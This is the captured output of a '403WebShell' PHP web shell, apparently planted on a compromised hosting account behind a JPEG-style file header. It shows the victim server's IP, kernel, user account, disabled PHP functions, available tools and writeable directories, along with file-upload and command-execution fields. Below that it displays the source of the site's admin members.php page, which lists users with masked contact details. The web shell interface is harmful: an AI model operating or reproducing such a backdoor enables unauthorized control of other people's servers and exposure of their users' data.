���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u939086737/domains/chocolate-mouse-719686.hostingersite.com/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u939086737/domains/chocolate-mouse-719686.hostingersite.com/public_html/admin/members.php
<?php require_once 'header.php'; ?>

 <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
 
<style>
    .btn-danger {
        background-color: red;
    }

    .btn-success {
        background-color: green;
    }
</style>

<!--start page wrapper -->
<div class="page-wrapper">
    <div class="page-content">
        <!--breadcrumb-->
        <div class="page-breadcrumb d-none d-sm-flex align-items-center mb-3">
            <div class="breadcrumb-title pe-3"><?= $page ?></div>
            <div class="ps-3">
                <nav aria-label="breadcrumb">
                    <ol class="breadcrumb mb-0 p-0">
                        <li class="breadcrumb-item"><a href="javascript:;"><i class="bx bx-home-alt"></i></a>
                        </li>
                        <li class="breadcrumb-item active" aria-current="page"><?= $page ?></li>
                    </ol>
                </nav>
            </div>

        </div>
        <!--end breadcrumb-->
        <div class="container">
            <div class="main-body py-5">
                <h6 class="mb-0 text-uppercase">Plan Details</h6>
                <hr />
                <div class="card">
                    <div class="card-body">
                        <div class="table-responsive">
                            <table id="example2" class="table table-striped table-bordered">
                                <thead class="table-light">
                                    <tr>
                                        <th>#</th>
                                        <th>User ID</th>
                                        <th>Name</th>
                                        <th>Email</th>
                                        <th>Mobile</th>
                                        <th>Joined</th>
                                        <th>Action</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php
                                    function mask_email($email)
                                    {
                                        $parts = explode("@", $email);
                                        $name = substr($parts[0], 0, 2) . str_repeat("*", strlen($parts[0]) - 2);
                                        return $name . "@" . $parts[1];
                                    }

                                    function mask_mobile($mobile)
                                    {
                                        return substr($mobile, 0, 2) . str_repeat("*", strlen($mobile) - 4) . substr($mobile, -2);
                                    }

                                    $i = 1;
                                    $q = mysqli_query($conn, "SELECT id, username, name, email, mobile_number, created_at,active_status FROM users WHERE id != 1 ORDER BY id DESC");
                                    while ($user = mysqli_fetch_assoc($q)) :
                                    ?>
                                        <tr>
                                            <td><?= $i++; ?></td>
                                            <td><?= $user['username']; ?></td>
                                            <td><?= $user['name']; ?></td>
                                            <td><?= mask_email($user['email']); ?></td>
                                            <td><?= mask_mobile($user['mobile_number']); ?></td>
                                            <td><?= date('d M Y', strtotime($user['created_at'])); ?></td>
                                            <td>
                                                <button type="button"
                                                    class="btn btn-sm block-button <?= $user['active_status'] == 1 ? 'btn-success' : 'btn-danger' ?>"
                                                    data-username="<?= $user['username'] ?>"
                                                    data-active_status="<?= $user['active_status'] ?>">
                                                    <?= $user['active_status'] == 1 ? 'Active' : 'In-Active' ?>
                                                </button>
                                            </td>
                                        

                                        </tr>
                                    <?php endwhile; ?>

                                </tbody>
                            </table>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
<!--end page wrapper -->

<?php require_once 'footer.php'; ?>

    <script>
        $(document).ready(function() {
            $('.block-button').click(function(e) {
                e.preventDefault();

                var button = $(this);
                var username = button.data('username');
                var active_status = parseInt(button.data('active_status'));

                var action = active_status === 1 ? 'In-Active' : 'Active';
                if (confirm('Are you sure you want to ' + action + ' user ' + username + '?')) {
                    $.ajax({
                        url: './ajax/toggle-block.php',
                        type: 'POST',
                        data: {
                            username: username,
                            active_status: active_status
                        },
                        success: function(response) {
                            // Toggle status locally
                            var new_status = active_status === 1 ? 0 : 1;
                            button.data('active_status', new_status);
                            button.text(new_status === 1 ? 'Active' : 'In-Active');
                            button.toggleClass('btn-success btn-danger');
                        },
                        error: function(xhr, status, error) {
                            console.error(error);
                            alert('Error toggling user ' + username);
                        }
                    });
                }
            });
        });
    </script>
                                            

Youez - 2016 - github.com/yon3zu
LinuXploit